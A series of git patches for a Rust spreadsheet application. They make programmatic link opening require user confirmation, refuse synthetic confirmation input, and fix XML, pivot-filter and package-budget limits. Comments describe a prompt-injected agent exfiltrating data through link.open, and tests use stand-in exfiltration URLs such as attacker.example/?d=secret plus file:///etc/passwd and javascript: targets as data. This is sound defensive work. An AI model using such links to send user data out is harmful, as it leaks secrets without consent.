From 79214fd28737d7bf018663a513f18aaf10641a49 Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Wed, 21 Oct 2026 20:50:07 -0400 Subject: [PATCH 01/20] link: require confirmation for programmatic link.open (#2181) link.open is reachable by the control channel, CLI, MCP and workbook scripts, so it could open https://attacker/?d= without the user seeing it. By default (LinkPolicy::Confirm) it now refuses web and e-mail addresses with an error and opens no dialog; references still navigate and other schemes stay refused. A host may opt in with LinkPolicy::Allow (Rust API only, no command sets it). The UI's Open Hyperlink prompt no longer runs a command on OK: it calls Session::open_confirmed_link with the address it showed, kept in a private field, so ui.dialog.confirm can't press OK and ui.dialog.set can't swap the address behind the prompt text. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/insert.rs | 13 ++++-- crates/engine/src/lib.rs | 3 ++ crates/engine/src/links.rs | 42 ++++++++++++++++++++ crates/engine/src/tests.rs | 45 +++++++++++++++++++++ crates/ui-egui/src/dialogs.rs | 70 +++++++++++++++++++++++++++------ crates/ui-egui/src/grid.rs | 5 ++- 6 files changed, 161 insertions(+), 17 deletions(-) diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index 9f044613d..b9243f30b 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -162,7 +162,7 @@ pub fn specs() -> Vec { "Open Hyperlink", [], None, - "{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); only http, https and mailto are opened, any other scheme is an error; the UI asks before opening", + "{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); a reference selects; a web or e-mail address is an error unless the host allows it: the user opens those by clicking the link and confirming; any scheme but http, https and mailto is always an error", has_doc, open_link ), @@ -1199,9 +1199,11 @@ fn insert_link(s: &mut Session, p: &Json) -> Result { }) } -/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the -/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no -/// dialog; the interactive click asks for confirmation first, in the UI. +/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]). +/// An `http`/`https`/`mailto` address is refused too unless the host set +/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so +/// the user opens such links by clicking and confirming, and the UI then calls +/// [`Session::open_confirmed_link`] (#2181). Opens no dialog. fn open_link(s: &mut Session, p: &Json) -> Result { let target = match str_param(p, "url").or_else(|| str_param(p, "target")) { Some(t) => t.to_string(), @@ -1217,6 +1219,9 @@ fn open_link(s: &mut Session, p: &Json) -> Result { match crate::links::classify(&target) { crate::links::LinkKind::Internal(r) => super::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})), crate::links::LinkKind::External(u) => { + if s.link_policy != crate::links::LinkPolicy::Allow { + return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into())); + } s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone())); Ok(json!({"opened": u})) } diff --git a/crates/engine/src/lib.rs b/crates/engine/src/lib.rs index 258a1cb72..2d0a46a09 100644 --- a/crates/engine/src/lib.rs +++ b/crates/engine/src/lib.rs @@ -256,6 +256,9 @@ pub struct Session { /// Review › Notes › Show All Notes: every note is displayed. An application display setting /// (like Excel's comment indicator option), so it's not saved in the file. pub show_all_notes: bool, + /// Whether `link.open` may open web and e-mail addresses without the user's confirmation + /// (#2181). Host code sets it; no command does. + pub link_policy: links::LinkPolicy, } impl Session { diff --git a/crates/engine/src/links.rs b/crates/engine/src/links.rs index 04d8da677..4c2318f07 100644 --- a/crates/engine/src/links.rs +++ b/crates/engine/src/links.rs @@ -2,8 +2,50 @@ //! somebody sent), so it is hostile input: only `http`, `https` and `mailto` ever leave the //! workbook for the system; `file:`, `smb:`, UNC paths, custom URL handlers, `javascript:` and //! the like are refused. Everything without a scheme stays an in-workbook reference. +//! +//! Opening an allowed address also needs the user's say-so (#2181): `link.open` is reachable by +//! the control channel, the CLI, MCP and workbook scripts, so a prompt-injected agent could open +//! `https://attacker/?d=`. Under the default [`LinkPolicy::Confirm`] the command refuses +//! external addresses; only the host, after showing the address and getting OK from the user, +//! opens one through [`crate::Session::open_confirmed_link`], which no command reaches. use gridcraft_core::RangeRef; +use serde_json::{Value as Json, json}; + +use crate::{EngineError, Result, Session, UiRequest}; + +/// Whether `link.open` may hand an external (`http`/`https`/`mailto`) address to the host without +/// asking. Set by the host in code, never by a command, so a programmatic caller can't widen it. +#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)] +pub enum LinkPolicy { + /// `link.open` refuses external addresses; the user opens them by clicking the link, which + /// asks first ([`Session::open_confirmed_link`]). References still navigate. + #[default] + Confirm, + /// The host trusts every caller of this session (an embedding that vets requests itself): + /// `link.open` opens allowed addresses directly. Disallowed schemes stay refused. + Allow, +} + +/// The error a programmatic `link.open` of a web or e-mail address returns. +pub const NEEDS_CONFIRMATION: &str = "Web and e-mail links open only when the user clicks them and confirms; a command can't open them."; + +impl Session { + /// Opens a link the user has just confirmed in the host's "Open Hyperlink" prompt: an allowed + /// address goes to the host (`UiRequest::OpenUrl`), a reference selects, anything else is + /// refused ([`classify`]). Not a command: only host code that showed the user this exact + /// address may call it. + pub fn open_confirmed_link(&mut self, target: &str) -> Result { + match classify(target) { + LinkKind::Internal(r) => self.execute("edit.goTo", json!({"reference": r.trim_start_matches('#')})), + LinkKind::External(u) => { + self.ui_requests.push(UiRequest::OpenUrl(u.clone())); + Ok(json!({"opened": u})) + } + LinkKind::Refused(why) => Err(EngineError::Other(why)), + } + } +} /// What a link target is. #[derive(Clone, Debug, PartialEq, Eq)] diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 2ac290654..aff234671 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -3268,12 +3268,57 @@ fn link_open_refuses_every_scheme_but_http_https_and_mailto() { } assert!(s.execute("link.open", json!({"cell": "A1"})).is_err()); assert!(s.take_ui_requests().is_empty()); + // A host's `Allow` policy opens web and e-mail addresses directly, and nothing else. + s.link_policy = crate::links::LinkPolicy::Allow; + for url in ["file:///etc/passwd", "smb://h/s", "\\\\h\\s", "JAVASCRIPT:1"] { + assert!(s.execute("link.open", json!({"url": url})).is_err(), "{url}"); + } + assert!(s.take_ui_requests().is_empty()); s.execute("link.open", json!({"url": "HTTPS://example.org/a"})).unwrap(); assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("HTTPS://example.org/a".into())]); s.execute("link.open", json!({"url": "B2"})).unwrap(); assert!(s.take_ui_requests().is_empty()); } +/// #2181: `link.open` is reachable by the control channel, CLI, MCP and scripts, so by default it +/// opens no web or e-mail address (an exfiltration channel: `https://attacker/?d=`) +/// and asks for no dialog either; only the host's confirmed path opens one. +#[test] +fn programmatic_link_open_never_opens_an_external_address_without_confirmation() { + let mut s = s(); + assert_eq!(s.link_policy, crate::links::LinkPolicy::Confirm, "confirmation is the default"); + s.execute("cell.set", json!({"cell": "A1", "input": "secret"})).unwrap(); + s.execute("insert.link", json!({"cell": "B1", "target": "https://attacker.example/?d=secret"})).unwrap(); + s.execute("insert.link", json!({"cell": "C1", "target": "mailto:x@attacker.example"})).unwrap(); + s.take_ui_requests(); + for p in [ + json!({"url": "https://attacker.example/?d=secret"}), + json!({"url": "http://attacker.example"}), + json!({"target": "MAILTO:x@attacker.example"}), + json!({"cell": "B1"}), + json!({"cell": "C1"}), + ] { + let e = s.execute("link.open", p.clone()).unwrap_err().to_string(); + assert!(e.contains(crate::links::NEEDS_CONFIRMATION), "{p}: {e}"); + } + assert!(s.take_ui_requests().is_empty(), "no OpenUrl and no dialog for a programmatic caller"); + assert!(s.execute_headless("link.open", json!({"cell": "B1"})).is_err()); + assert!(s.take_ui_requests().is_empty()); + // References still navigate. + s.execute("link.open", json!({"url": "A1"})).unwrap(); + assert!(s.take_ui_requests().is_empty()); + + // The host's confirmed path opens the allowed address, and still refuses every other scheme. + assert_eq!(s.open_confirmed_link(" https://example.org/a ").unwrap(), json!({"opened": "https://example.org/a"})); + assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("https://example.org/a".into())]); + for url in ["file:///etc/passwd", "\\\\h\\s", "javascript:1", "x-custom://a", "\u{1}https://a.example"] { + assert!(s.open_confirmed_link(url).is_err(), "{url:?}"); + } + assert!(s.take_ui_requests().is_empty()); + s.open_confirmed_link("Sheet1!C3").unwrap(); + assert_eq!(s.doc().unwrap().selection.active, CellRef::new(2, 2)); +} + #[test] fn subtotal_109_recalculates_when_row_height_or_autofit_reveals_rows() { let mut s = s(); diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index fb899c702..f56136e94 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -40,6 +40,9 @@ pub struct Dialog { picture_target: Option<(u64, usize)>, /// The dialog this one was opened from (Name Manager › New…): it comes back when this closes. back: Option>, + /// Open Hyperlink: the address the prompt shows, which OK opens. Private, unlike `values`, so + /// `ui.dialog.set` can't swap it behind the text the user reads (#2181). + link: Option, } impl Dialog { @@ -73,6 +76,7 @@ impl Dialog { picture_inbox: None, picture_target: None, back: None, + link: None, } } @@ -91,6 +95,7 @@ impl Dialog { picture_inbox: None, picture_target: None, back: None, + link: None, } } @@ -349,19 +354,18 @@ impl Dialog { json!({"text": existing}), ) } - // Asks before a web or e-mail link leaves the workbook; OK runs `link.open`, which - // refuses anything but http, https and mailto. + // Asks before a web or e-mail link leaves the workbook. OK opens it through + // `Session::open_confirmed_link` (which refuses anything but http, https and mailto), + // not a command: `link.open` refuses web addresses for programmatic callers, and a + // dialog without a command can't be confirmed over the control channel (#2181). "openLink" => { let url = params.get("url").and_then(Json::as_str).unwrap_or_default().to_string(); - Dialog::form( - "openLink", - "Open Hyperlink", - "link.open", - vec![Note(format!( - "This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}" - ))], - json!({"url": url}), - ) + let mut d = Dialog::custom("openLink", "Open Hyperlink", json!({"url": url})); + d.fields = vec![Note(format!( + "This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}" + ))]; + d.link = Some(url); + d } "insertLink" => Dialog::form( "insertLink", @@ -1256,6 +1260,13 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { app.message = Some((d.title.clone(), "Return to the original worksheet to insert this picture, or cancel and choose another cell.".into())); confirm = false; } + if confirm && d.name == "openLink" { + confirm = false; + open = false; + if let Err(e) = open_confirmed_link(app, &d) { + app.message = Some((d.title.clone(), crate::clean_error(&e))); + } + } if confirm && let Some(cmd) = d.command { let params = build_params(&d); match app.run(cmd, params) { @@ -1365,6 +1376,15 @@ fn paste_special_shortcuts(d: &mut Dialog, ctx: &egui::Context) { }); } +/// The user pressed OK in Open Hyperlink: opens the address the prompt showed (`d.link`), never +/// one a caller edited into its values afterwards. +fn open_confirmed_link(app: &mut SheetApp, d: &Dialog) -> Result<(), String> { + let url = d.link.as_deref().unwrap_or_default(); + let r = app.session.open_confirmed_link(url).map(|_| ()).map_err(|e| e.to_string()); + app.after_engine(); + r +} + fn ok_cancel(ui: &mut egui::Ui, confirm: &mut bool, open: &mut bool) { ui.add_space(8.0); ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| { @@ -2729,6 +2749,34 @@ mod tests { assert!(gridcraft_engine::cmd::data::check_validation(&doc.wb, 0, at, "4").is_some()); } + /// #2181: a programmatic `link.open` opens nothing; the Open Hyperlink prompt has no command + /// the control channel could confirm, and its OK opens exactly the address it showed. + #[test] + fn open_hyperlink_opens_only_the_address_the_user_confirmed() { + use std::{cell::RefCell, rc::Rc}; + let opened = Rc::new(RefCell::new(Vec::::new())); + let sink = opened.clone(); + let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() }; + let mut session = gridcraft_engine::Session::default(); + session.new_workbook(); + let mut app = SheetApp::new(session, services); + assert!(app.run("link.open", json!({"url": "https://attacker.example/?d=secret"})).is_err()); + app.after_engine(); + assert!(opened.borrow().is_empty(), "a programmatic link.open opens nothing"); + assert!(app.dialog.is_none(), "and opens no dialog"); + + let mut d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap(); + assert!(d.command.is_none(), "`ui.dialog.confirm` can't press OK for the user"); + // A value edited behind the prompt's text is ignored: OK opens what the user read. + d.set_value("url", json!("https://attacker.example/?d=secret")); + open_confirmed_link(&mut app, &d).unwrap(); + assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]); + + let bad = Dialog::open(&mut app, "openLink", json!({"url": "file:///etc/passwd"})).unwrap(); + assert!(open_confirmed_link(&mut app, &bad).is_err()); + assert_eq!(opened.borrow().len(), 1); + } + #[test] fn data_validation_without_a_rule_opens_on_a_blank_list() { let mut session = gridcraft_engine::Session::default(); diff --git a/crates/ui-egui/src/grid.rs b/crates/ui-egui/src/grid.rs index 106bc6684..a0ea26ecb 100644 --- a/crates/ui-egui/src/grid.rs +++ b/crates/ui-egui/src/grid.rs @@ -2556,8 +2556,9 @@ fn delete_selected_object(app: &mut SheetApp, sh: &Sheet) -> bool { } /// A click on a hyperlink. References select; web and e-mail addresses ask first (the dialog's -/// OK runs `link.open`); every other kind is refused with a message. The decision is the -/// engine's ([`gridcraft_engine::links::classify`]), the same one `link.open` applies. +/// OK calls `Session::open_confirmed_link`, since `link.open` refuses them for programmatic +/// callers, #2181); every other kind is refused with a message. The decision is the engine's +/// ([`gridcraft_engine::links::classify`]), the same one `link.open` applies. pub fn follow_link(app: &mut SheetApp, target: &str) { use gridcraft_engine::links::{LinkKind, classify}; match classify(target) { From 0b7deaa3d80438cf4c5bf56988498e6fd8ca3b2b Mon Sep 17 00:00:00 2001 From: RedBearAK <64876997+RedBearAK@users.noreply.github.com> Date: Sat, 24 Oct 2026 17:32:33 -0800 Subject: [PATCH 02/20] XLSX: the XML element cap counts only elements kept in the tree `parse_streaming` counts every element it attaches to a parent against MAX_XML_NODES, but the cells of a worksheet are attached to their `row` while the row is open, and the row is then handed to the callback and dropped. So the count grew with every cell of a sheet although the tree never held more than one row, and a workbook with a sheet of about one million ordinary cells (12,274 rows by 103 columns) was reported damaged after 6,310 rows since #2413. Shared strings, streamed by `si`, had the same exposure: a table of about a million plain strings, or fewer rich-text ones. The count now returns to its value at the start of a split element when that element is handed out, so a streamed part of any size passes while a part that keeps a million elements in its tree is still refused. Regression test: 5,001 streamed rows of 100 cells are read whole; the same part kept in a tree is refused. Co-Authored-By: Claude Fable 5.1 --- crates/xlsx/src/xml.rs | 39 +++++++++++++++++++++++++++++++++++---- 1 file changed, 35 insertions(+), 4 deletions(-) diff --git a/crates/xlsx/src/xml.rs b/crates/xlsx/src/xml.rs index e671d0adf..26178a570 100644 --- a/crates/xlsx/src/xml.rs +++ b/crates/xlsx/src/xml.rs @@ -230,8 +230,11 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res let mut root: Option = None; let mut buf = Vec::new(); // Elements kept in the tree so far, so a pathological part that passes the byte limits can - // still be refused before the tree itself outgrows memory. + // still be refused before the tree itself outgrows memory. Elements inside a `split` element + // are handed out with it and do not stay in the tree, so a streamed worksheet or shared-string + // table of any size passes: `kept_at_start` remembers the count when each open element began. let mut kept = 0usize; + let mut kept_at_start: Vec = Vec::new(); // Attach a finished element to its parent (or emit it / make it the root). fn finish( stack: &mut [El], @@ -240,11 +243,16 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res split: &[&str], cb: &mut dyn FnMut(El) -> Result<(), IoError>, kept: &mut usize, + kept_at_start: Option, ) -> Result<(), IoError> { match stack.last_mut() { Some(parent) => { if split.contains(&el.name.as_str()) { cb(el)?; + // The element and everything parsed inside it have left the tree. + if let Some(k) = kept_at_start { + *kept = k; + } } else { *kept = kept.saturating_add(1); if *kept > MAX_XML_NODES { @@ -269,14 +277,16 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res return Err(IoError::Xml("XML nested too deeply".into())); } stack.push(start_el(&e)); + kept_at_start.push(kept); } Event::Empty(e) => { let el = start_el(&e); - finish(&mut stack, &mut root, el, split, cb, &mut kept)?; + finish(&mut stack, &mut root, el, split, cb, &mut kept, None)?; } Event::End(_) => { if let Some(el) = stack.pop() { - finish(&mut stack, &mut root, el, split, cb, &mut kept)?; + let at_start = kept_at_start.pop(); + finish(&mut stack, &mut root, el, split, cb, &mut kept, at_start)?; } } Event::Text(t) => { @@ -315,7 +325,8 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res } // Unclosed elements (truncated part): close them so we keep what we have. while let Some(el) = stack.pop() { - finish(&mut stack, &mut root, el, split, cb, &mut kept)?; + let at_start = kept_at_start.pop(); + finish(&mut stack, &mut root, el, split, cb, &mut kept, at_start)?; } root.ok_or_else(|| IoError::Xml("no root element".into())) } @@ -495,6 +506,26 @@ mod tests { } } + #[test] + fn a_streamed_part_may_hold_more_elements_than_the_cap() { + // A worksheet of ordinary size: 5001 rows of 100 cells is 1,000,200 `c` and `v` elements, + // more than the cap, but the rows are streamed out one by one and never pile up in the + // tree, so the part is read whole. Kept in a tree (no split), the same part is refused. + let row = format!("{}", "1".repeat(100)); + let xml = format!("{}", row.repeat(5001)); + let mut rows = 0usize; + let root = parse_streaming(xml.as_bytes(), &["row"], &mut |r| { + assert_eq!(r.children.len(), 100); + rows += 1; + Ok(()) + }) + .unwrap(); + assert_eq!(rows, 5001); + assert!(root.children.is_empty()); + let err = parse(xml.as_bytes()).unwrap_err(); + assert!(err.to_string().contains("elements"), "{err}"); + } + #[test] fn a_part_of_endless_empty_elements_is_refused() { assert!(parse(b"").is_ok()); From fe062f57a67e327d0b656c94bca86dc3c16e5706 Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Tue, 3 Nov 2026 09:48:20 -0500 Subject: [PATCH 03/20] Refuse synthetic control-channel input as OK in Open Hyperlink (#2181) A ui.key Enter or ui.click on OK reached egui as ordinary input and could confirm the openLink prompt. A pass that carries synthetic input now keeps the prompt open and opens nothing. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/dialogs.rs | 24 ++++++++++++++++++++++++ crates/ui-egui/src/dialogs/show.rs | 23 ++++++++++++++++++++--- 2 files changed, 44 insertions(+), 3 deletions(-) diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index cbf21ddd9..0cbd66de7 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -1194,6 +1194,30 @@ mod tests { assert_eq!(opened.borrow().len(), 1); } + /// #2181: an OK that arrives with synthetic control-channel input (`ui.key` Enter, `ui.click` + /// on OK) opens nothing and keeps the prompt open; the same OK from the user opens the link. + #[test] + fn synthetic_input_cannot_confirm_open_hyperlink() { + use show::{SYNTHETIC_LINK_CONFIRM, confirm_open_link}; + use std::{cell::RefCell, rc::Rc}; + let opened = Rc::new(RefCell::new(Vec::::new())); + let sink = opened.clone(); + let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() }; + let mut session = gridcraft_engine::Session::default(); + session.new_workbook(); + let mut app = SheetApp::new(session, services); + let d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap(); + + app.synthetic_pending = true; + assert!(!confirm_open_link(&mut app, &d), "the prompt stays open"); + assert!(opened.borrow().is_empty(), "synthetic input opens nothing"); + assert_eq!(app.message.as_ref().map(|m| m.1.as_str()), Some(SYNTHETIC_LINK_CONFIRM)); + + app.synthetic_pending = false; + app.message = None; + assert!(confirm_open_link(&mut app, &d), "the user's OK closes the prompt"); + assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]); + } #[test] fn data_validation_without_a_rule_opens_on_a_blank_list() { diff --git a/crates/ui-egui/src/dialogs/show.rs b/crates/ui-egui/src/dialogs/show.rs index 1aa013442..6dd5519c3 100644 --- a/crates/ui-egui/src/dialogs/show.rs +++ b/crates/ui-egui/src/dialogs/show.rs @@ -409,9 +409,8 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { } if confirm && d.name == "openLink" { confirm = false; - open = false; - if let Err(e) = open_confirmed_link(app, &d) { - app.message = Some((d.title.clone(), crate::clean_error(&e))); + if confirm_open_link(app, &d) { + open = false; } } if confirm && d.command.is_some() && home_sheet_deleted(app, &mut d) { @@ -492,6 +491,24 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { } } +/// OK in Open Hyperlink; returns whether the prompt closes. A pass that carries control-channel +/// input (`ui.key`, `ui.click`, `ui.drag`) can't say yes for the user (#2181): the link stays +/// unopened and the prompt open, with a message. Real input in that same pass is refused too, so +/// the user just presses OK again. +pub(super) fn confirm_open_link(app: &mut SheetApp, d: &Dialog) -> bool { + if app.synthetic_pending { + app.message = Some((d.title.clone(), SYNTHETIC_LINK_CONFIRM.into())); + return false; + } + if let Err(e) = open_confirmed_link(app, d) { + app.message = Some((d.title.clone(), crate::clean_error(&e))); + } + true +} + +/// Why Open Hyperlink ignored an OK that arrived with synthetic control-channel input. +pub(super) const SYNTHETIC_LINK_CONFIRM: &str = "Synthetic input from the control channel can't open a link: press OK yourself to open it."; + /// The user pressed OK in Open Hyperlink: opens the address the prompt showed (`d.link`), never /// one a caller edited into its values afterwards. pub(super) fn open_confirmed_link(app: &mut SheetApp, d: &Dialog) -> Result<(), String> { From e12b462b907ff967a557b7e418028b536ac250e7 Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Tue, 3 Nov 2026 10:45:50 -0500 Subject: [PATCH 04/20] Port the link.open confirmation check into the merged insert.rs (#2181) Upstream folded cmd/insert/*.rs back into insert.rs, so the merge left the policy check in a file that is no longer compiled. Restore that file to upstream and apply the check in the live open_link. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/insert.rs | 11 ++++++++--- crates/engine/src/cmd/insert/links.rs | 11 +++-------- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index e78e80a1b..8e6b826b5 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -1336,9 +1336,11 @@ fn insert_link(s: &mut Session, p: &Json) -> Result { }) } -/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the -/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no -/// dialog; the interactive click asks for confirmation first, in the UI. +/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]). +/// An `http`/`https`/`mailto` address is refused too unless the host set +/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so +/// the user opens such links by clicking and confirming, and the UI then calls +/// [`Session::open_confirmed_link`] (#2181). Opens no dialog. fn open_link(s: &mut Session, p: &Json) -> Result { let target = match str_param(p, "url").or_else(|| str_param(p, "target")) { Some(t) => t.to_string(), @@ -1354,6 +1356,9 @@ fn open_link(s: &mut Session, p: &Json) -> Result { match crate::links::classify(&target) { crate::links::LinkKind::Internal(r) => super::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})), crate::links::LinkKind::External(u) => { + if s.link_policy != crate::links::LinkPolicy::Allow { + return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into())); + } s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone())); Ok(json!({"opened": u})) } diff --git a/crates/engine/src/cmd/insert/links.rs b/crates/engine/src/cmd/insert/links.rs index a20b28678..59a69e6f9 100644 --- a/crates/engine/src/cmd/insert/links.rs +++ b/crates/engine/src/cmd/insert/links.rs @@ -38,11 +38,9 @@ pub(super) fn insert_link(s: &mut Session, p: &Json) -> Result { }) } -/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]). -/// An `http`/`https`/`mailto` address is refused too unless the host set -/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so -/// the user opens such links by clicking and confirming, and the UI then calls -/// [`Session::open_confirmed_link`] (#2181). Opens no dialog. +/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the +/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no +/// dialog; the interactive click asks for confirmation first, in the UI. pub(super) fn open_link(s: &mut Session, p: &Json) -> Result { let target = match str_param(p, "url").or_else(|| str_param(p, "target")) { Some(t) => t.to_string(), @@ -58,9 +56,6 @@ pub(super) fn open_link(s: &mut Session, p: &Json) -> Result { match crate::links::classify(&target) { crate::links::LinkKind::Internal(r) => crate::cmd::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})), crate::links::LinkKind::External(u) => { - if s.link_policy != crate::links::LinkPolicy::Allow { - return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into())); - } s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone())); Ok(json!({"opened": u})) } From 014f030a15d586ddc0ff5d775fa51991cabb8907 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 18:10:48 -0500 Subject: [PATCH 05/20] engine: PivotTable filters test each record against a set of selected labels (#3279) Every source record scanned the filter's whole selection, so a large selection multiplied by many records was slow even when nothing passed. Each filter's labels are lowercased into a set once per computation. --- crates/engine/src/cmd/pivot/tests.rs | 13 +++++++++++++ crates/engine/src/pivot/compute.rs | 11 ++++++++--- 2 files changed, 21 insertions(+), 3 deletions(-) diff --git a/crates/engine/src/cmd/pivot/tests.rs b/crates/engine/src/cmd/pivot/tests.rs index 308d30f4a..3748d0705 100644 --- a/crates/engine/src/cmd/pivot/tests.rs +++ b/crates/engine/src/cmd/pivot/tests.rs @@ -168,6 +168,19 @@ fn filters_and_report_filter_rows() { assert!(s.execute("pivot.filter", json!({"field": "Product", "selected": []})).is_err()); } +/// A selection of the most labels allowed (100,000) is looked up once per record, not scanned: the +/// report still filters case-insensitively. +#[test] +fn a_huge_filter_selection_is_matched_through_a_set() { + let mut s = sales(); + s.execute("insert.pivotTable", json!({"rows": ["Product"], "values": ["Sales"], "filters": ["Region"]})).unwrap(); + let mut selected: Vec = (0..99_999).map(|i| format!("Region {i}")).collect(); + selected.push("EAST".into()); + s.execute("pivot.filter", json!({"field": "Region", "selected": selected})).unwrap(); + let gt = find_row(&s, "Grand Total").unwrap(); + assert_eq!(val(&s, &CellRef::new(gt, 1).a1()), Value::Number(415.0)); +} + #[test] fn show_values_as() { let mut s = sales(); diff --git a/crates/engine/src/pivot/compute.rs b/crates/engine/src/pivot/compute.rs index 0ffa8cae5..90e81408d 100644 --- a/crates/engine/src/pivot/compute.rs +++ b/crates/engine/src/pivot/compute.rs @@ -77,6 +77,8 @@ struct AggregateInput<'a> { extra: &'a [usize], filters: &'a [(usize, &'a PivotFilter, PivotDateGroup, bool)], filter_fmts: &'a [String], + /// Each filter's selected labels, ASCII-lowercased, so a record's test is one probe. + filter_sets: &'a [Option>], row_fmts: &'a [String], col_fmts: &'a [String], empty: bool, @@ -99,10 +101,10 @@ fn aggregate_record( ri: usize, rec: &[Value], ) -> Result<(), String> { - for ((c, field, group, _), fmt) in input.filters.iter().zip(input.filter_fmts) { - if let Some(selected) = &field.selected { + for (((c, _, group, _), fmt), selected) in input.filters.iter().zip(input.filter_fmts).zip(input.filter_sets) { + if let Some(selected) = selected { let label = item_label(input.wb, rec.get(*c).unwrap_or(&Value::Empty), *group, fmt); - if !selected.iter().any(|value| value.eq_ignore_ascii_case(&label)) { + if !selected.contains(&label.to_ascii_lowercase()) { return Ok(()); } } @@ -475,6 +477,8 @@ pub(super) fn compute_from(wb: &Workbook, pt: &PivotTable, src: &Source, mut pro // ---- aggregate let filter_fmts: Vec = filters.iter().map(|f| fmt_of(f.0)).collect(); + let filter_sets: Vec>> = + filters.iter().map(|(_, field, _, _)| field.selected.as_ref().map(|s| s.iter().map(|v| v.to_ascii_lowercase()).collect())).collect(); let row_fmts: Vec = rows.iter().map(|(c, _)| fmt_of(*c)).collect(); let col_fmts: Vec = cols.iter().map(|(c, _)| fmt_of(*c)).collect(); let aggregate = aggregate_source( @@ -488,6 +492,7 @@ pub(super) fn compute_from(wb: &Workbook, pt: &PivotTable, src: &Source, mut pro extra: &extra, filters: &filters, filter_fmts: &filter_fmts, + filter_sets: &filter_sets, row_fmts: &row_fmts, col_fmts: &col_fmts, empty, From 74111e5a9335011e2fe029866512054b1d841cd6 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:50:40 -0500 Subject: [PATCH 06/20] check: charge relationship parts to the package's decompression budget (#3185) * check: charge relationship parts to the package's decompression budget * address review: charge bytes read before a package part decompression error --- apps/gridcraft-cli/src/check/package.rs | 78 ++++++++++++++++++++++++- 1 file changed, 75 insertions(+), 3 deletions(-) diff --git a/apps/gridcraft-cli/src/check/package.rs b/apps/gridcraft-cli/src/check/package.rs index 6b97fa495..c0def7037 100644 --- a/apps/gridcraft-cli/src/check/package.rs +++ b/apps/gridcraft-cli/src/check/package.rs @@ -6,6 +6,10 @@ const MAX_XML_PART: u64 = 64 * 1024 * 1024; /// Most zip entries looked at while validating a written package. const MAX_ENTRIES: usize = 200_000; +/// Decompressed bytes that comparing one package's relationship kinds may read in total: the +/// relationship parts themselves and the targets whose content is checked. +const RELATIONSHIP_BUDGET: u64 = 512 * 1024 * 1024; + /// Relationship kinds (lower case) whose absence after a save isn't a loss: the calculation chain is /// a cache Excel rebuilds, and GridCraft never writes it. pub(super) const REBUILT_KINDS: 